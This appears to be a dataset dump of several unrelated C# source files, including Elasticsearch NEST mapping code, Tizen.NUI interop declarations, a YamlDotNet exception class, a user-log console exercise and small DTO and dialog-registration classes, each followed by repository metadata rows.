Assign(propertiesSelector, (a, v) => a.Properties = v?.Invoke(new PropertiesDescriptor<T>(Self.Properties))?.Value);
/// <inheritdoc cref="ITypeMapping.Properties" />
public TypeMappingDescriptor<T> Properties<TDocument>(Func<PropertiesDescriptor<TDocument>, IPromise<IProperties>> propertiesSelector)
where TDocument : class =>
Assign(propertiesSelector, (a, v) => a.Properties = v?.Invoke(new PropertiesDescriptor<TDocument>(Self.Properties))?.Value);
/// <inheritdoc cref="ITypeMapping.DynamicTemplates" />
public TypeMappingDescriptor<T> DynamicTemplates(
Func<DynamicTemplateContainerDescriptor<T>, IPromise<IDynamicTemplateContainer>> dynamicTemplatesSelector
) =>
Assign(dynamicTemplatesSelector, (a, v) => a.DynamicTemplates = v?.Invoke(new DynamicTemplateContainerDescriptor<T>())?.Value);
}
}
| 51.640138 | 211 | 0.727218 | [
"Apache-2.0"
] | RPM1984/elasticsearch-net | src/Nest/Mapping/TypeMapping.cs | 14,926 | C# |
using System;
using System.Collections.Generic;
using System.Text;
namespace Tizen.NUI
{
internal static partial class Interop
{
internal static partial class Adaptor
{
//For Adaptor
[global::System.Runtime.InteropServices.DllImport(NDalicPINVOKE.Lib, EntryPoint = "CSharp_Dali_delete_Adaptor")]
public static extern void delete_Adaptor(global::System.Runtime.InteropServices.HandleRef jarg1);
[global::System.Runtime.InteropServices.DllImport(NDalicPINVOKE.Lib, EntryPoint = "CSharp_Dali_Adaptor_SetRenderRefreshRate")]
public static extern void Adaptor_SetRenderRefreshRate(global::System.Runtime.InteropServices.HandleRef jarg1, uint jarg2);
[global::System.Runtime.InteropServices.DllImport(NDalicPINVOKE.Lib, EntryPoint = "CSharp_Dali_Adaptor_Get")]
public static extern global::System.IntPtr Adaptor_Get();
[global::System.Runtime.InteropServices.DllImport(NDalicPINVOKE.Lib, EntryPoint = "CSharp_Dali_Adaptor_FeedWheelEvent")]
public static extern void Adaptor_FeedWheelEvent(global::System.Runtime.InteropServices.HandleRef jarg1, global::System.Runtime.InteropServices.HandleRef jarg2);
[global::System.Runtime.InteropServices.DllImport(NDalicPINVOKE.Lib, EntryPoint = "CSharp_Dali_Adaptor_FeedKeyEvent")]
public static extern void Adaptor_FeedKeyEvent(global::System.Runtime.InteropServices.HandleRef jarg1, global::System.Runtime.InteropServices.HandleRef jarg2);
}
}
} | 55.5 | 173 | 0.749035 | [
"Apache-2.0",
"MIT"
] | Ali-Alzyoud/TizenFX | src/Tizen.NUI/src/internal/Interop/Interop.Adaptor.cs | 1,556 | C# |
// This file is part of YamlDotNet - A .NET library for YAML.
// Copyright (c) Antoine Aubry and contributors
// Permission is hereby granted, free of charge, to any person obtaining a copy of
// this software and associated documentation files (the "Software"), to deal in
// the Software without restriction, including without limitation the rights to
// use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
// of the Software, and to permit persons to whom the Software is furnished to do
// so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
using System;
namespace YamlDotNet.Core
{
/// <summary>
/// The exception that is thrown when an alias references an anchor
/// that has not yet been defined in a context that does not support forward references.
/// </summary>
[Serializable]
public class ForwardAnchorNotSupportedException : YamlException
{
/// <summary>
/// Initializes a new instance of the <see cref="AnchorNotFoundException"/> class.
/// </summary>
public ForwardAnchorNotSupportedException()
{
}
/// <summary>
/// Initializes a new instance of the <see cref="AnchorNotFoundException"/> class.
/// </summary>
/// <param name="message">The message.</param>
public ForwardAnchorNotSupportedException(string message)
: base(message)
{
}
/// <summary>
/// Initializes a new instance of the <see cref="AnchorNotFoundException"/> class.
/// </summary>
public ForwardAnchorNotSupportedException(Mark start, Mark end, string message)
: base(start, end, message)
{
}
/// <summary>
/// Initializes a new instance of the <see cref="AnchorNotFoundException"/> class.
/// </summary>
/// <param name="message">The message.</param>
/// <param name="inner">The inner.</param>
public ForwardAnchorNotSupportedException(string message, Exception inner)
: base(message, inner)
{
}
}
}
| 40.044118 | 92 | 0.668013 | [
"MIT"
] | Ardaurum/Unity-ArdLibrary | Assets/Plugins/YamlDotNet/Core/ForwardAnchorNotSupportedException.cs | 2,723 | C# |
using System;
namespace netstandard20csharp_D
{
public class Class1
{
}
}
| 9.777778 | 31 | 0.659091 | [
"MIT"
] | aolszowka/VisualStudioSolutionGenerator | VisualStudioSolutionGenerator.Tests/TestData/ProjectDependencies/netstandard20csharp/netstandard20csharp_D/Class1.cs | 90 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace _06.UserLogs
{
class UserLogs
{
static void Main()
{
var data = new SortedDictionary<string, Dictionary<string, List<string>>>();
string input = Console.ReadLine();
while (input != "end")
{
string[] tokens = input.Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
string ipAddress = tokens[0].Replace("IP=", "");
string message = tokens[1];
string user = tokens[2].Replace("user=", "");
if (!data.ContainsKey(user))
{
data.Add(user, new Dictionary<string, List<string>>());
}
if (!data[user].ContainsKey(ipAddress))
{
data[user].Add(ipAddress, new List<string>());
}
data[user][ipAddress].Add(message);
input = Console.ReadLine();
}
foreach (var inputs in data)
{
string user = inputs.Key;
Dictionary<string, List<string>> datas = inputs.Value;
Console.WriteLine($"{user}:");
List<string> result = new List<string>();
foreach (KeyValuePair<string, List<string>> users in datas)
{
string ip = users.Key;
List<string> messages = users.Value;
string output = $"{ip} => {messages.Count}";
result.Add(output);
}
Console.WriteLine(string.Join(", ", result) + ".");
}
}
}
}
| 28.951613 | 105 | 0.474095 | [
"MIT"
] | ShadyObeyd/ProgrammingFundamentals-Homeworks | 14.DictionariesLambdaAndLinq-Exercises/06.UserLogs/UserLogs.cs | 1,797 | C# |
using Abp.Application.Services.Dto;
using Abp.Domain.Entities;
using System;
using System.Collections.Generic;
using System.Text;
namespace AccountingSystems.BadStocks.Dto
{
public class BadStockDto : FullAuditedEntityDto<int>, IMustHaveTenant
{
public int TenantId { get; set; }
public int ProductId { get; set; }
public double PricePerPiece { get; set; }
public int TotalPieces { get; set; }
public double Amount { get; set; }
public int TotalAmount { get; set; }
}
}
| 28 | 73 | 0.674812 | [
"MIT"
] | CorinthDev-Github/Invoice-and-Accounting-System | aspnet-core/src/AccountingSystems.Application/BadStocks/Dto/BadStockDto.cs | 534 | C# |
namespace DTML.EduBot.Dialogs
{
using Autofac;
public class BasicDialogModule : Module
{
protected override void Load(ContainerBuilder builder)
{
base.Load(builder);
builder.RegisterType<AuthenticateDialog>();
builder.RegisterType<RootDialog>();
builder.RegisterType<LessonPlanDialog>();
builder.RegisterType<ChitChatDialog>();
builder.RegisterType<LevelDialog>();
builder.RegisterType<LearnEnglishDialog>();
builder.RegisterType<NavigateDialog>();
}
}
} | 29.65 | 62 | 0.62226 | [
"MIT"
] | distance-teaching-and-mobile-learning/DTML.EduBot | DTML.EduBot/Dialogs/BasicDialogModule.cs | 595 | C# |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.